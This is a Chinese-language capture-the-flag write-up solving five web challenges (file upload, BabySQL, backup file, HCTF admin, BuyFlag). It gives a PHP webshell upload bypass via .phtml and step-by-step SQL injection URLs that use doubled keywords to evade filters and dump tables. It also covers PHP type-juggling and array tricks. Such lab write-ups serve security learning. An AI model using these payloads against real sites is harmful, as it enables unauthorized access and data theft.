[ACTF2020 新生赛]Upload
打开题目链接点击灯泡即可看到隐隐约约的上传文件的框。 上传一个含有一句话木马的php 文件 继续上传一个文件内容为一句话木马的jpg 文件,发现使用蚁剑连接不成功,于是我们可以在上传jpg 文件时使用burp抓包修改文件后缀为phtml  放包后发现页面提示上传的文件的绝对路径,且文件名被修改 使用蚁剑连接时,注意用被修改过的文件名,连接成功后即可得到flag 。
[极客大挑战 2019]BabySQL
又是前面熟悉的SQL注入的题目的背景图 首先尝试万能密码登录,发现数据使用为get 方式传参,提示用户名密码错误。  经过测试字符串的闭合方式为单引号 尝试将密码注释掉,登录成功。
?username=admin' --+&password=1
 查看报错信息,发现or 被过滤
?username=admin' order by 3--+&password=1
 尝试双写关键字绕过
?username=admin' oorrder by 2--+ &password=1
 但是使用万能密码却可以登录成功
?username=admin' oorr '1'='1--+ &password=1
 继续尝试联合注入的语句,发现union select均被过滤
?username=admin' union select 1,2,3,4--+ &password=1
 继续尝试双写关键字绕过,得到字段数为3
?username=admin' uniunionon seleselectct 1,2,3--+ &password=1
 接着查看联合注入的回显位置
?username=1' uniunionon seleselectct 11,22,33--+ &password=1
 继续查看数据库为geek
?username=1' uniunionon seleselectct 11,22,database()--+ &password=1
 继续查看表名,发现where、from、or 被过滤,均使用双写关键字绕过。得到表名为b4bsql,geekuser
?username=1' uniunionon selselectect 11,22,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'--+ &password=1
 爆出表b4bsql 中的字段名
?username=1' uniunionon selselectect 11,22,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'--+&password=1
 爆出字段b4bsql 字段中paaaword 的值,得到flag。
?username=1' uniunionon selselectect 11,22,group_concat(passwoorrd) frfromom geek.b4bsql--+&password=1

[ACTF2020 新生赛]BackupFile
由题目可提示,这道题的考点是备份文件

常见的备份文件后缀名有: .git .svn .swp .~ .bak .bash_history。
逐一尝试常见的备份文件后缀名,发现为.bak ,页面随即跳转到网页源码。
/index.php.bak

PHP中的弱类型比较 == 仅比较两个变量的值 === 比较两个变量的值和类型
源码中要求get 传参传入变量key ,传入的key 与$str 作弱比较,且要求传入的变量均为数字,于是令key=123 即可得到flag 。

[HCTF 2018]admin
 点击HCTF  点击404:Not Found ,页面没有任何跳转。 页面有右上角有两个按钮,登录和注册 
访问登录的页面
 再访问注册的页面
 注册时随便输入一个账号和密码,我输入的账号和密码均为123 (第一次注册时使用admin 提示已经被注过),使用注册成功的账号密码进行登录。 这种方法不可以,我们再次查看题目源码
<!-- you are not admin --> 猜测如果以admin 登录成功,则可能的到flag。我们在使用注册的账号登录成功后,发现右上角有三个按钮 我们三个操作均尝试并查看网页源码,寻找可用的信息。
index 页面和之前的index 页面查看源代码是一样的。 posts 页面进入只会显示404 ,就算再后面新增了文章也是一样。 edit 页面是一个类似博客编写页面,有两个文本框,但试了一下XSS 都被过滤了。 change 页面是一个修改密码的页面。可能存在逻辑漏洞,尝试一下发现不需要输入之前的密码直接输入新密码就行,这样就不存在多步骤校验可能存在的逻辑绕过。而且查看报文发现报文中没有写用户名,里面只有一个新密码。证明用户名是通过session 来获取的,所以也不存在中间截获修改的漏洞。
Session : 在计算机中,尤其是在网络应用中,称为“会话控制”。Session 对象存储特定用户会话所需的属性及配置信息。这样,当用户在应用程序的Web 页之间跳转时,存储在Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则Web 服务器将自动创建一个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。Session 对象最常见的一个用法就是存储用户的首选项。例如,如果用户指明不喜欢查看图形,就可以将该信息存储在Session对象中。
session的工作原理: (1)当一个session 第一次被启用时,一个独一的标识被存储于本地的cookie 中。 (2)首先使用session_start() 函数,PHP 从session 仓库中加载已经存储的session 变量。 (3)当执行PHP 脚本时,通过使用session_register() 函数注册session 变量。 (4)当PHP 脚本执行结束时,未被销毁的session 变量会被自动保存在本地一定路径下的session 库中,这个路径可以通过php.ini 文件中的session.save_path 指定,下次浏览网页时可以加载使用。
我们在change password 选项的网页源码中发现了一个有关github 的网址,尝试访问。 下载该网站的flask 文档【Flask 是一个用 Python 编写的Web应用程序框架】,并解压 解压后打开文件夹的index.html 文件,
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
只要从session 中得到的值name 为admin 就会显示flag ,即能够使用admin 登录即可拿到flag 。
方法1
继续审代码,在routes.py 文件中,发现了strlower 小写函数,猜测如果使用ADMIN 进行注册,即可登录成功获得flag 。
方法2
直接抓包使用burp 来爆破字典获得密码123 。
[极客大挑战 2019]BuyFlag
打开链接为三叶草安全技术小组的招新信息。 查看网页源码,发现了index.php 和pay.php 。
 访问index.php ,与之前的网页没什么不一样。访问pay.php ,发现了提示得到flag 的条件 查看网页源代码,发现了一段注释 在控制台发现user 值只有一个值为0 修改user 的值为1 时,页面发生了变化 由于上面源码中注释的内容为POST 传参,则使用post方式传入money=100000000&password=404 ,提示password不能为数字。 再次传入money=100000000&password=404mach ,则提示密码太长
这里对字符进行了判断,对字符处理的函数在PHP漏洞中比较常见,使用数组进行传参来绕过判断即可得到flag 。
money[]=1&password=404mach

|